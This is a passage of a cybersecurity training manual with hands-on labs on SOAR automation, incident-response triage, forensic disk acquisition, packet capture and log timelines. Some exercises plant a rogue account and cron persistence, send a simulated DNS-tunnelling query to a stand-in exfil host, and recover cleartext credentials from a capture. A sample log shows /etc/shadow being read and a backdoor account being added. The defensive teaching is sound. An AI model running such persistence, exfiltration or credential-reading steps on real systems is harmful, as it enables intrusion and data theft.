© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
DRY_RUN=1 TICKETS=/tmp/ci-tickets /usr/local/bin/soar.sh < /tmp/ci-
sample.log

iptables -C INPUT -s 198.51.100.9 -j DROP 2>/dev/null && echo "FAIL: dry
run changed the firewall" || echo "PASS: dry run made no changes"
```

6. Run the playbook as a service Orchestration means the automation runs continuously and restarts itself. The service follows new sshd entries in the systemd journal and pipes them into the playbook.

```
cat > /etc/systemd/system/soar.service <<'EOF'

[Unit]

Description=Mini SOAR SSH brute-force playbook

After=network.target



[Service]

ExecStart=/bin/bash -c 'journalctl -f -n0 -o short -t sshd |
/usr/local/bin/soar.sh'

Restart=always



[Install]

WantedBy=multi-user.target

EOF

systemctl daemon-reload && systemctl enable --now soar.service

systemctl is-active soar.service
```

7. Trigger an incident and watch the automated response Simulate a brute-force burst from a documentation (TEST-NET) address by writing sshd-style events into the journal, then check every automated output: firewall block, ticket, log entry and API escalation.

```
for i in $(seq 1 6); do logger -p auth.warning -t sshd "Failed password for
invalid user admin from 203.0.113.50 port 50$i ssh2"; done

sleep 3

iptables -L INPUT -n | grep 203.0.113.50

ls /var/soar/tickets/ && jq . /var/soar/tickets/*203-0-113-50*.json

journalctl -t soar -n 3 --no-pager
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
cat /var/soar/escalations.log | tail -1
```

8. Roll back: re-enable access after review Every automated action needs a documented, equally automated way back. After the analyst confirms the block (or finds a false positive), the ticket is closed and access is re-enabled.

```
iptables -D INPUT -s 203.0.113.50 -j DROP && echo "access re-enabled for
203.0.113.50"

T=$(ls /var/soar/tickets/*203-0-113-50*.json | head -1)

jq '.status="closed" | .resolution="reviewed by analyst, block lifted"'
"$T" > "$T.tmp" && mv "$T.tmp" "$T"

jq -r '.id + " " + .status' "$T"

logger -t soar "rollback ip=203.0.113.50 ticket=$(jq -r .id "$T")"
```

Test it

The service is active; a fresh attacker IP is blocked once in iptables, gets one ticket JSON and one escalation in the API log, with no human involved.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-40-automation-soar/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.8 — Incident Response

Official objective: Explain appropriate incident response activities.

The incident response process runs from preparation, through detection, analysis, containment, eradication and recovery, to lessons learned.

Training and testing, including tabletop exercises and simulations, keep the plan and the team ready before an incident happens.

Root cause analysis and threat hunting turn a single incident into lasting improvement and proactive defence.

Digital forensics preserves evidence through legal hold, chain of custody, sound acquisition, reporting, preservation and e-discovery.

The Incident Response Process

- Step 1: Preparation: plan, team, tools and playbooks in place
- Step 2: Detection and analysis: validate, scope and prioritise

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Step 3: Containment: isolate to stop the spread
- Step 4: Eradication: remove the malware, accounts and persistence
- Step 5: Recovery: restore service and monitor closely
- Step 6: Lessons learned: review and feed back into preparation

What Each Phase Means

- Preparation — The work done before any incident: the IR plan, trained team, communication plan, jump-bag tools and playbooks.
- Detection — Recognising an incident from an alert, a user report, a hunt or a third party, and confirming it is real.
- Analysis — Scoping what is affected, assessing impact and setting priority so the response matches the severity.
- Containment — Short-term isolation then a durable fix, chosen so it stops damage without destroying evidence.
- Eradication — Removing the root cause: malware, rogue accounts, persistence and the exploited weakness.
- Recovery — Returning systems to normal service only after verification, with heightened monitoring for a period.

Training, Testing and Improvement

- Training — Everyone knows their role and the plan before an incident, so no one improvises under pressure.
- Tabletop exercise — A discussion-based walk through a scenario; no live systems are touched, cheap and good for decision practice.
- Simulation — A hands-on exercise with realistic, synthetic events, such as a simulated phishing or breach, to test the response for real.
- Root cause analysis — Drill to the underlying cause, for example with the five whys, so the same incident cannot recur.
- Threat hunting — Proactively searching for indicators across the estate on the assumption a compromise may already exist.
- Lessons learned — A blameless review that turns findings into concrete improvements back in the preparation phase.

Order of Volatility for Evidence

- 1. CPU and memory — Registers, cache and RAM, which hold keys and injected code that vanish when power is lost.
- 2. Network and process state — Active connections, routing and ARP tables, running processes and open file handles.
- 3. Temporary data — Swap space and temporary directories that are overwritten quickly.
- 4. Disk — The full storage device, imaged bit by bit through a write blocker.
- 5. Remote logs — Firewall, platform and cloud logs held off the compromised host.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- 6. Archival media — Backups and offline archives: the most stable and least urgent.
- Capture the most volatile evidence first; pulling the power destroys tiers one to three.

Digital Forensics Fundamentals

- Legal hold — A formal instruction to suspend routine deletion and retention once litigation or investigation is anticipated.
- Chain of custody — An unbroken record of who handled each item, when, why and where. A gap can make evidence inadmissible.
- Acquisition — A bit-for-bit image taken through a write blocker, with source and image hashed to prove they match.
- Preservation — The original is sealed and untouched; all analysis runs on a verified working copy.
- Reporting — A clear record of method, findings and hashes that another examiner could reproduce.
- E-discovery — The legal process of identifying, preserving and producing relevant electronically stored information.

Exam tips

- Order: preparation, detection, analysis, containment, eradication, recovery, lessons learned.
- 'Isolate the host' = containment; 'remove the malware' = eradication; 'restore from backup' = recovery.
- Tabletop = discussion only; simulation = hands-on exercise. Root cause analysis belongs to lessons learned.
- Collect volatile data (memory, connections) before disk; image drives through a write blocker and hash both sides.
- Legal hold preserves; chain of custody proves handling; e-discovery finds and produces ESI.

Lab 41 — Incident Response: Live Triage

Exam objective: 4.8. Learning outcome: Work an incident through every IR phase in order.

Goal: Take a simulated host incident through preparation, detection, analysis, containment, eradication, recovery and lessons learned, collecting hashed volatile evidence before containing.

What you'll build

A case folder of hashed evidence, a contained and eradicated incident, a recovery check and a lessons-learned report. (Tools: cron, procps, iproute2, psmisc, lsof, sha256sum, iptables.)

Step-by-step

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

1. Prepare: install the jump-bag tools and open a case Preparation means the tools, the case folder and the record-keeping exist before you need them.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
cron procps iproute2 psmisc lsof python3

systemctl enable --now cron

mkdir -p /evidence/IR-2026-041

cat > /evidence/IR-2026-041/case.txt <<EOF

Case ID:   IR-2026-041

Opened:    $(date -u +%FT%TZ)

Handler:   $(whoami)@$(hostname)

Severity:  TBD (set after analysis)

Playbook:  Suspected host compromise v1.2

EOF

cat /evidence/IR-2026-041/case.txt
```

2. Simulate the incident (exercise set-up) The exercise facilitator plants three harmless indicators: a rogue local account, an unexpected listening service and a cron job for persistence. In a real incident you would discover these, not create them.

```
id svc-update >/dev/null 2>&1 || useradd -m -s /bin/bash -c "updater" svc-
update

mkdir -p /tmp/.cache-www

cat > /tmp/.update.sh <<'EOF'

#!/bin/sh

echo "marker $(date -u +%FT%TZ)" >> /tmp/.update.marker

EOF

chmod +x /tmp/.update.sh

echo '* * * * * /tmp/.update.sh' | crontab -u svc-update -

nohup su -s /bin/sh svc-update -c 'python3 -m http.server 4444 --bind
127.0.0.1 --directory /tmp/.cache-www' >/dev/null 2>&1 &

sleep 2; echo "exercise indicators planted"
```

3. Detect: confirm the alert and list the indicators An alert or a user report starts detection. Confirm it by checking listening ports, processes, recently created

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

accounts and scheduled tasks. Write each indicator of compromise (IoC) into the case notes as you find it.

```
ss -tlnp | grep 4444
```

```
ps -eo pid,ppid,user,lstart,cmd | grep '[h]ttp.server 4444'
```

```
awk -F: '$3 >= 1000 && $3 < 65000 {print $1, $3, $6, $7}' /etc/passwd
```

```
for u in $(awk -F: '$3 >= 1000 && $3 < 65000 {print $1}' /etc/passwd); do
crontab -u "$u" -l 2>/dev/null | sed "s/^/$u: /"; done
```

```
ls -la /tmp | grep ' \.'
```

4. Analyse: collect volatile evidence in order of volatility, then hash it Capture the most volatile state first (processes, network connections, logged-in users), then less volatile items (logs, cron tables, the suspicious script). Hash everything straight away so you can later prove nothing changed.

```
cd /evidence/IR-2026-041
```

```
date -u +%FT%TZ > 00-collection-start.txt
```

```
ps auxwwf > 01-processes.txt
```

```
ss -tunap > 02-sockets.txt
```

```
ip neigh > 03-arp.txt; ip route > 03-routes.txt
```

```
who -a > 04-who.txt; last -n 20 > 04-last.txt 2>/dev/null || true
```

```
lsof -nP -i :4444 > 05-lsof-4444.txt 2>/dev/null || true
```

```
crontab -u svc-update -l > 06-cron-svc-update.txt
```

```
cp /tmp/.update.sh 07-update.sh.evidence
```

```
journalctl --since "-30 min" --no-pager > 08-journal-30min.txt
```

```
sha256sum 0* > evidence.sha256 && cat evidence.sha256
```

5. Contain: stop the spread without destroying evidence Short-term containment disables the account, kills the account's sessions and blocks the port. The evidence you hashed in step 4 is already safe.

```
usermod -L -e 1 svc-update
```

```
iptables -I INPUT -p tcp --dport 4444 -j DROP
```

```
pkill -u svc-update || true
```

```
sleep 1; ss -tlnp | grep 4444 || echo "listener stopped"
```

```
passwd -S svc-update
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

6. Eradicate: remove the cause and the persistence Remove the persistence mechanism, the dropped script and the rogue account. Keep the evidence copies in the case folder.

```
crontab -u svc-update -r 2>/dev/null || true

rm -f /tmp/.update.sh /tmp/.update.marker

rm -rf /tmp/.cache-www

userdel -r svc-update 2>/dev/null || userdel svc-update

iptables -D INPUT -p tcp --dport 4444 -j DROP

echo "eradication complete"
```

7. Recover: validate that the host is clean and keep watching Recovery puts the system back into service only after you verify it, then monitors it more closely for a period in case the attacker returns.

```
ss -tlnp | grep -q 4444 && echo "FAIL: listener still present" || echo "OK:
no listener on 4444"

id svc-update 2>/dev/null && echo "FAIL: account still present" || echo
"OK: rogue account removed"

ls /var/spool/cron/crontabs/ 2>/dev/null | grep -q svc-update && echo
"FAIL: cron remains" || echo "OK: no cron persistence"

ls /tmp/.update.sh 2>/dev/null || echo "OK: dropped script removed"

cd /evidence/IR-2026-041 && sha256sum -c evidence.sha256
```

8. Lessons learned: root cause analysis and the incident report Hold the review within a few days, while memories are fresh. Use the five whys to reach the root cause, record what went well and what did not, and feed actions back into preparation. Hash the report as well. ```bash cat > /evidence/IR-2026-041/report.md <<EOF # Incident IR-2026-041 - post-incident report - Detected: $(head -1 /evidence/IR-2026-041/00-collection-start.txt) (unexpected listener alert) - IoCs: TCP 127.0.0.1:4444 listener; rogue account svc-update; cron job /tmp/.update.sh every minute - Containment: account locked and expired, sessions killed, port 4444 blocked - Eradication: cron entry, script and account removed - Recovery: no listener, account or persistence remains; evidence hashes verified

Test it

The case folder holds numbered evidence, report.md and evidence.sha256; every hash verifies OK; no listener, rogue account or cron persistence remains.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-41-incident-response-triage/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Lab 42 — Digital Forensics: Acquisition & Chain of Custody

Exam objective: 4.8. Learning outcome: Acquire a forensic image with verifiable integrity.

Goal: Issue a legal hold, capture volatile data in order of volatility, write-protect a loop-device suspect disk, acquire dd and dcfldd images, verify hashes before and after, examine a read-only copy and preserve the master.

What you'll build

A legal hold, a custody log, write-blocked images with matching SHA-256 hashes, recovered files and a report. (Tools: dcfldd, dd, sleuthkit, foremost, losetup, blockdev, sha256sum.)

Step-by-step

1. Install the tools dcfldd is the forensic version of dd with on-the-fly hashing, The Sleuth Kit lists files including deleted ones, and foremost carves files out of raw data by their header and footer signatures.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
dcfldd sleuthkit foremost e2fsprogs

mkdir -p /cases/CASE-042/{evidence,images,work,reports}
```

2. Open the case: legal hold and chain-of-custody form Before touching anything, record the legal hold and start the custody log. Every later step appends a line to it.

```
cd /cases/CASE-042

cat > reports/legal-hold-notice.txt <<EOF

LEGAL HOLD NOTICE - CASE-042          Issued: $(date -u +%F)

Matter: suspected leak of Project Nightfall plans (synthetic exercise)

Custodians: J. Doe (finance), IT operations

Scope: laptop disk FIN-LT-0457, mailbox jdoe, file share /finance

Instruction: suspend all deletion, re-imaging and log rotation for the
scope above until released in writing by Legal.

EOF

printf 'utc_time,item_id,action,handler,location,sha256\n' > reports/chain-
of-custody.csv
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
echo "$(date -u +%FT%TZ),FIN-LT-0457,received under legal hold,$
(whoami),evidence locker A3," >> reports/chain-of-custody.csv

cat reports/legal-hold-notice.txt
```

3. Capture volatile data first (order of volatility) On a live system, memory and network state disappear when the machine is powered off, so capture them before anything else. Here you capture system time, processes, connections and logged-in users, and hash them at once.

```
cd /cases/CASE-042/evidence

date -u +%FT%TZ > v01-system-time.txt; uptime >> v01-system-time.txt

ps auxww > v02-processes.txt

ss -tunap > v03-network.txt; ip neigh > v03-arp.txt

who -a > v04-users.txt

sha256sum v0* | tee volatile.sha256

echo "$(date -u +%FT%TZ),VOL-001,volatile data
captured,$(whoami),/cases/CASE-042/evidence,$(sha256sum volatile.sha256 |
cut -d' ' -f1)" >> ../reports/chain-of-custody.csv
```

4. Create the suspect disk and write-protect it A 32 MB file attached as a loop device stands in for the seized drive. You place some files on it, delete two of them (as the suspect did), then set the device read-only with blockdev --setro, which acts as a software write blocker.

```
dd if=/dev/zero of=/cases/CASE-042/FIN-LT-0457.raw bs=1M count=32
status=none

LOOP=$(losetup -f --show /cases/CASE-042/FIN-LT-0457.raw) && echo "$LOOP" >
/cases/CASE-042/loopdev

mkfs.ext4 -q -L FIN-LT-0457 "$LOOP"

mkdir -p /mnt/suspect && mount "$LOOP" /mnt/suspect

echo "Quarterly budget - nothing sensitive" > /mnt/suspect/budget.txt

echo "CONFIDENTIAL: Project Nightfall launch plan - send to competitor
contact" > /mnt/suspect/nightfall.txt

printf
'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00NIGHTF
ALL-BLUEPRINT\xff\xd9' > /mnt/suspect/blueprint.jpg

sync; rm /mnt/suspect/nightfall.txt /mnt/suspect/blueprint.jpg; sync

umount /mnt/suspect

blockdev --setro "$LOOP" && blockdev --getro "$LOOP"
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

5. Hash the source before acquisition Hash the original media first. This value is the reference that every copy must match.

```
LOOP=$(cat /cases/CASE-042/loopdev)

sha256sum "$LOOP" | awk '{print $1}' | tee /cases/CASE-042/reports/source-before.sha256

echo "$(date -u +%FT%TZ),FIN-LT-0457,source hashed before acquisition,$(whoami),write-blocked $LOOP,$(cat /cases/CASE-042/reports/source-before.sha256)" >> /cases/CASE-042/reports/chain-of-custody.csv
```

6. Acquire bit-for-bit images with dd and dcfldd dd makes a raw image; conv=noerror,sync keeps going past bad sectors and pads them so offsets stay correct. dcfldd hashes while it copies and writes the hash to a log.

```
cd /cases/CASE-042 && LOOP=$(cat loopdev)

dd if="$LOOP" of=images/FIN-LT-0457.dd bs=1M conv=noerror,sync status=none

dcfldd if="$LOOP" of=images/FIN-LT-0457.dcfldd.img bs=1M hash=sha256 hashlog=reports/dcfldd-hash.log

cat reports/dcfldd-hash.log
```

7. Verify the images and record them in the chain of custody Hash both images and the source again. All values must be identical; if the source hash changed, the write blocker failed.

```
cd /cases/CASE-042 && LOOP=$(cat loopdev)

sha256sum images/FIN-LT-0457.dd images/FIN-LT-0457.dcfldd.img | tee reports/images.sha256

sha256sum "$LOOP" | awk '{print $1}' > reports/source-after.sha256

diff reports/source-before.sha256 reports/source-after.sha256 && echo "SOURCE UNCHANGED"

[ "$(awk '{print $1}' reports/images.sha256 | sort -u | wc -l)" = 1 ] && grep -q "$(cat reports/source-before.sha256)" reports/images.sha256 && echo "IMAGES MATCH SOURCE"

echo "$(date -u +%FT%TZ),IMG-001,dd image created and verified,$(whoami),/cases/CASE-042/images,$(cut -d' ' -f1 reports/images.sha256 | head -1)" >> reports/chain-of-custody.csv
```

8. Examine a working copy read-only and recover deleted artefacts Never analyse the original or the master image. Make a working copy, mount it read-only with noload (so the ext4 journal is not replayed), then look for deleted entries and carve data out of unallocated space.

```
cd /cases/CASE-042

cp images/FIN-LT-0457.dd work/working-copy.dd
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
mkdir -p /mnt/case042 && mount -o ro,noload,loop work/working-copy.dd
/mnt/case042

ls -la /mnt/case042

fls -r -d work/working-copy.dd

grep -a -o 'CONFIDENTIAL: Project Nightfall.*competitor contact'
work/working-copy.dd | head -1

printf 'jpg y 200000 \\xff\\xd8\\xff\\xe0\\x00\\x10 \\xff\\xd9\n' >
work/foremost.conf

foremost -q -c work/foremost.conf -i work/working-copy.dd -o work/carved &&
ls -R work/carved | head

umount /mnt/case042

sha256sum images/FIN-LT-0457.dd | cut -d' ' -f1 | grep -q "$(cat
reports/source-before.sha256)" && echo "MASTER IMAGE STILL INTACT"
```

9. Preserve the evidence and write the report Seal the master image (read-only and immutable), detach the suspect device and write a report another examiner could reproduce.

```
cd /cases/CASE-042

chmod 0444 images/* && chattr +i images/FIN-LT-0457.dd 2>/dev/null; lsattr
images/ 2>/dev/null

losetup -d "$(cat loopdev)"

echo "$(date -u +%FT%TZ),IMG-001,master image sealed (0444 + immutable),$
(whoami),/cases/CASE-042/images," >> reports/chain-of-custody.csv

cat > reports/forensic-report.txt <<EOF

CASE-042 forensic acquisition report        $(date -u +%FT%TZ)

Media: FIN-LT-0457 (32 MB ext4), write-blocked with blockdev --setro

Source SHA-256 before: $(cat reports/source-before.sha256)

Source SHA-256 after:  $(cat reports/source-after.sha256)

Images: dd and dcfldd, both hashes equal to the source

Findings: deleted file nightfall.txt content recovered from unallocated
space;

          deleted JPEG carved by foremost (work/carved/jpg)

Method: analysis on a working copy mounted ro,noload; master image sealed

Chain of custody: reports/chain-of-custody.csv
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
EOF

cat reports/forensic-report.txt; column -s, -t < reports/chain-of-
custody.csv
```

Test it

Both image hashes equal the source hash before and after, sha256sum -c reports OK, the deleted file content is recovered and the custody log has an entry per handling step.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-42-digital-forensics-acquisition/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

Objective 4.9 — Investigation Data Sources

Official objective: Given a scenario, use data sources to support an investigation.

Investigations correlate many data sources into one timeline that answers who, what, when, where and how.

Log data is the core source: firewall, application, endpoint, OS security, IPS/IDS and network logs, plus metadata.

Vulnerability scans, automated reports and dashboards give breadth and trend; packet captures give the deepest detail.

Synchronised clocks and consistent time zones are what make events from different sources line up.

Log Data Sources

- Firewall logs — Allowed and denied connections, showing scanning, blocked traffic and suspicious egress.
- Application logs — Events from a service such as a web server, revealing attack patterns in requests and errors.
- Endpoint logs — Process, file and account activity on a host, often from an EDR agent.
- OS-specific security logs — Linux auth.log and the journal, or the Windows Security log: logons, privilege use and account changes.
- IPS/IDS logs — Signature and anomaly alerts naming the rule, the source and the target.
- Network logs — Flow records and DNS logs showing who talked to whom, when and how much.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Packet Capture versus Flow and Logs

- Packet capture: Full packet content, including payloads, credentials and files.
- Packet capture: The most detailed source, so it proves exactly what was sent.
- Packet capture: Large and storage-heavy, so captures are short and targeted.
- Packet capture: Used to confirm an alert and reconstruct a conversation.
- Flow / log data: Metadata only: source, destination, port, time, packets and bytes.
- Flow / log data: Cheap to keep for months, ideal for trends and beaconing.
- Flow / log data: Shows the shape of traffic, not its contents.
- Flow / log data: Used to scope activity across the whole network over time.

Other Data Sources

- Metadata — Data about data: email headers, file timestamps and EXIF, which reveal origin, timing and tampering.
- Vulnerability scans — Show which weaknesses exist on which hosts, helping confirm how an attacker got in.
- Automated reports — Scheduled summaries that surface changes and anomalies without manual effort.
- Dashboards — At-a-glance views that correlate sources so an analyst can spot the odd event quickly.
- Packet captures — The deepest evidence of what actually crossed the wire during the incident.
- SIEM correlation — Brings all these sources together, normalises timestamps and raises the alert that starts the investigation.

Building an Investigation Timeline

- Step 1: Collect the relevant logs and captures
- Step 2: Normalise every timestamp to one time zone (UTC)
- Step 3: Correlate events across sources by IP, user and time
- Step 4: Order them chronologically into a single timeline
- Step 5: Answer who, what, when, where and how

What the Logs Reveal

- Many failed logins then one success from the same source is the signature of a successful brute force or spray.
- sudo COMMAND= lines record privilege escalation and exactly what was run as root.
- Web logs expose attacks in the URI (../ traversal, UNION SELECT, <script>) and in scanner user agents.
- Response codes matter: a 302 after repeated 401s on a login, or a 200 on a web shell, means an attempt worked.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

- Regular fixed-interval connections suggest C2 beaconing; long random subdomains suggest DNS tunnelling.

Exam tips

- Packet capture = full content; NetFlow/IPFIX and logs = metadata. Choose flow data for trends, PCAP to prove content.
- Know the log types by name: firewall, application, endpoint, OS-specific security, IPS/IDS, network, plus metadata.
- Correlation across sources builds the timeline; NTP-synchronised clocks and UTC make correlation possible.
- A success immediately after many failures from one source is the classic brute-force signature.
- Dashboards and automated reports give breadth and speed; a packet capture gives depth for one event.

Lab 43 — Packet Capture and Traffic Analysis with tcpdump and tshark

Exam objective: 4.9. Learning outcome: Capture, filter and follow traffic to find cleartext creds.

Goal: Capture generated HTTP and DNS traffic with tcpdump, apply capture and display filters, follow a TCP stream, recover cleartext basic-auth credentials, and build a NetFlow-style flow summary.

What you'll build

A saved PCAP, a list of exposed credentials, a reconstructed HTTP conversation and a per-flow summary. (Tools: tcpdump, tshark, dnsutils, curl, python3.)

Step-by-step

1. Install the tools tcpdump captures, tshark (the command-line Wireshark) dissects, and dnsutils provides dig for generating DNS queries.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
tcpdump tshark dnsutils curl python3

mkdir -p /root/pcap
```

2. Start a local web service and a capture Start a web server on 127.0.0.1:8080, then start tcpdump in the background with a capture filter that records only web and DNS traffic. -U writes each packet immediately.

```
mkdir -p /root/www && echo "<h1>intranet</h1>" > /root/www/index.html

nohup python3 -m http.server 8080 --bind 127.0.0.1 --directory /root/www
>/dev/null 2>&1 &

sleep 1
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
nohup tcpdump -i any -U -s 0 -w /root/pcap/lab43.pcap 'tcp port 8080 or
port 53' >/root/pcap/tcpdump.log 2>&1 &

sleep 2; cat /root/pcap/tcpdump.log
```

3. Generate HTTP, DNS and beaconing traffic Simulate a user logging in with HTTP basic authentication, a form login posted over plain HTTP, some DNS lookups (including a long, random-looking name typical of DNS tunnelling) and a host that "beacons" to the same URL at a fixed interval.

```
curl -s -u alice:Summer2026 http://127.0.0.1:8080/ >/dev/null

curl -s -d 'username=bob&password=Winter2026' http://127.0.0.1:8080/login
>/dev/null

dig +short example.com; dig +short www.wikipedia.org

dig +short "$(head -c 24 /dev/urandom | base32 | tr -d '=' | tr 'A-Z' 'a-
z').exfil.example.com" || true

for i in 1 2 3 4 5; do curl -s "http://127.0.0.1:8080/?id=host42&seq=$i"
>/dev/null; sleep 2; done
```

4. Stop the capture and summarise it Stop tcpdump cleanly so the file is complete, then look at the capture as a whole: packet count, duration and the protocol hierarchy.

```
pkill -INT tcpdump; sleep 1

tcpdump -r /root/pcap/lab43.pcap -nn 2>/dev/null | wc -l

capinfos /root/pcap/lab43.pcap | grep -E 'Number of packets|Capture
duration|File size'

tshark -r /root/pcap/lab43.pcap -q -z io,phs 2>/dev/null
```

5. Apply display filters Display filters narrow the view without changing the file. List every HTTP request, every DNS query name and only the packets for port 8080.

```
tshark -r /root/pcap/lab43.pcap -Y 'http.request' -T fields -e
frame.time_relative -e ip.src -e http.request.method -e http.request.uri
2>/dev/null

tshark -r /root/pcap/lab43.pcap -Y 'dns.flags.response == 0' -T fields -e
dns.qry.name 2>/dev/null | sort -u

tshark -r /root/pcap/lab43.pcap -Y 'tcp.port == 8080 && tcp.flags.syn == 1
&& tcp.flags.ack == 0' 2>/dev/null | wc -l
```

6. Follow a TCP stream Following a stream reassembles the whole conversation in order, exactly as Wireshark's "Follow TCP Stream" does. Stream 0 is the first web connection, the basic-auth login.

```
tshark -r /root/pcap/lab43.pcap -q -z follow,tcp,ascii,0 2>/dev/null | sed
-n '1,25p'
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

7. Spot cleartext credentials Base64 is an encoding, not encryption, so the basic-auth header gives up the password instantly. The form login is even easier to read.

```
tshark -r /root/pcap/lab43.pcap -Y 'http.authorization' -T fields -e ip.src
-e http.authorization -e http.authbasic 2>/dev/null

echo 'YWxpY2U6U3VtbWVyMjAyNg==' | base64 -d; echo

tshark -r /root/pcap/lab43.pcap -Y 'http.request.method == "POST"' -T
fields -e http.request.uri -e urlencoded-form.key -e urlencoded-form.value
2>/dev/null
```

8. Build a NetFlow-style summary Flow records keep only metadata. Use tshark's conversation table, then build your own flow summary with awk: source, destination and port, with packet and byte counts per flow.

```
tshark -r /root/pcap/lab43.pcap -q -z conv,tcp 2>/dev/null | head -15

tshark -r /root/pcap/lab43.pcap -T fields -E separator=, -e ip.src -e
ip.dst -e tcp.dstport -e udp.dstport -e frame.len 2>/dev/null \

  | awk -F, '{k=$1" -> "$2":"$3$4; p[k]++; b[k]+=$5} END {for (k in p)
printf "%-40s pkts=%-4d bytes=%d\n", k, p[k], b[k]}' | sort
```

9. Hunt for beaconing and DNS tunnelling indicators Beacons repeat at regular intervals with similar sizes; tunnelling uses long, high-entropy query names. Both stand out in metadata alone.

```
tshark -r /root/pcap/lab43.pcap -Y 'http.request.uri contains "id=host42"'
-T fields -e frame.time_relative 2>/dev/null \

  | awk 'NR>1 {printf "interval %.1f s\n", $1-prev} {prev=$1}'

tshark -r /root/pcap/lab43.pcap -Y 'dns.flags.response == 0' -T fields -e
dns.qry.name 2>/dev/null \

  | sort -u | awk '{n=split($1,l,"."); printf "%-4d %s\n", length(l[1]),
$1}' | sort -nr | head -3
```

Test it

The PCAP is saved, tshark lists at least 7 HTTP requests and the DNS queries, and alice:Summer2026 is recovered from the capture.

Note: Full commands, troubleshooting and the challenge task are in labs/lab-43-packet-capture-analysis/README.md. All labs run inside an isolated, disposable Killercoda playground. Attack tools such as Nmap, sqlmap, Metasploit, Hydra and GoPhish are used ONLY against targets you create inside that playground. Never point them at any system you do not own or do not have written authorisation to test — doing so is a criminal offence under the Singapore Computer Misuse Act.

© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

Lab 44 — Log Investigation: Building an Attack Timeline

Exam objective: 4.9. Learning outcome: Investigate auth and web logs and build an attack timeline.

Goal: Generate synthetic auth.log and nginx access-log data, find the brute-force source, the compromised account, the sudo privilege escalation and the web attacks, then merge both logs into one chronological timeline.

What you'll build

Synthetic auth.log and access.log, grep/awk findings, and a merged, time-ordered incident timeline. (Tools: grep, awk, sed, sort, uniq, journalctl, logger.)

Step-by-step

1. Install the tools and prepare a work area Everything here uses standard text tools plus journalctl for the systemd journal.

```
apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y
gawk coreutils

mkdir -p /root/investigation && cd /root/investigation
```

2. Generate a synthetic auth.log This heredoc writes an auth log telling a story: an attacker at 203.0.113.66 brute-forces SSH, finally succeeds as webadmin, and that session then escalates to root with sudo. The quiet 198.51.100.4 is a normal admin, included as a control.

```
cat > /root/investigation/auth.log <<'EOF'

Mar 14 01:02:11 web01 sshd[1140]: Failed password for invalid user admin
from 203.0.113.66 port 51001 ssh2

Mar 14 01:02:13 web01 sshd[1141]: Failed password for invalid user root
from 203.0.113.66 port 51002 ssh2

Mar 14 01:02:15 web01 sshd[1142]: Failed password for invalid user oracle
from 203.0.113.66 port 51003 ssh2

Mar 14 01:02:17 web01 sshd[1143]: Failed password for webadmin from
203.0.113.66 port 51004 ssh2

Mar 14 01:02:19 web01 sshd[1144]: Failed password for webadmin from
203.0.113.66 port 51005 ssh2

Mar 14 01:02:21 web01 sshd[1145]: Failed password for webadmin from
203.0.113.66 port 51006 ssh2

Mar 14 01:02:23 web01 sshd[1146]: Failed password for webadmin from
203.0.113.66 port 51007 ssh2

Mar 14 01:02:25 web01 sshd[1147]: Failed password for webadmin from
203.0.113.66 port 51008 ssh2
```


© 2026 Tertiary Infotech Academy Pte Ltd. All rights reserved. · www.tertiarycourses.com.sg

```
Mar 14 01:02:40 web01 sshd[1150]: Accepted password for webadmin from
203.0.113.66 port 51020 ssh2

Mar 14 01:02:40 web01 sshd[1150]: pam_unix(sshd:session): session opened
for user webadmin by (uid=0)

Mar 14 01:03:05 web01 sudo:  webadmin : TTY=pts/0 ; PWD=/home/webadmin ;
USER=root ; COMMAND=/usr/bin/cat /etc/shadow

Mar 14 01:03:30 web01 sudo:  webadmin : TTY=pts/0 ; PWD=/home/webadmin ;
USER=root ; COMMAND=/usr/sbin/useradd -m -s /bin/bash support

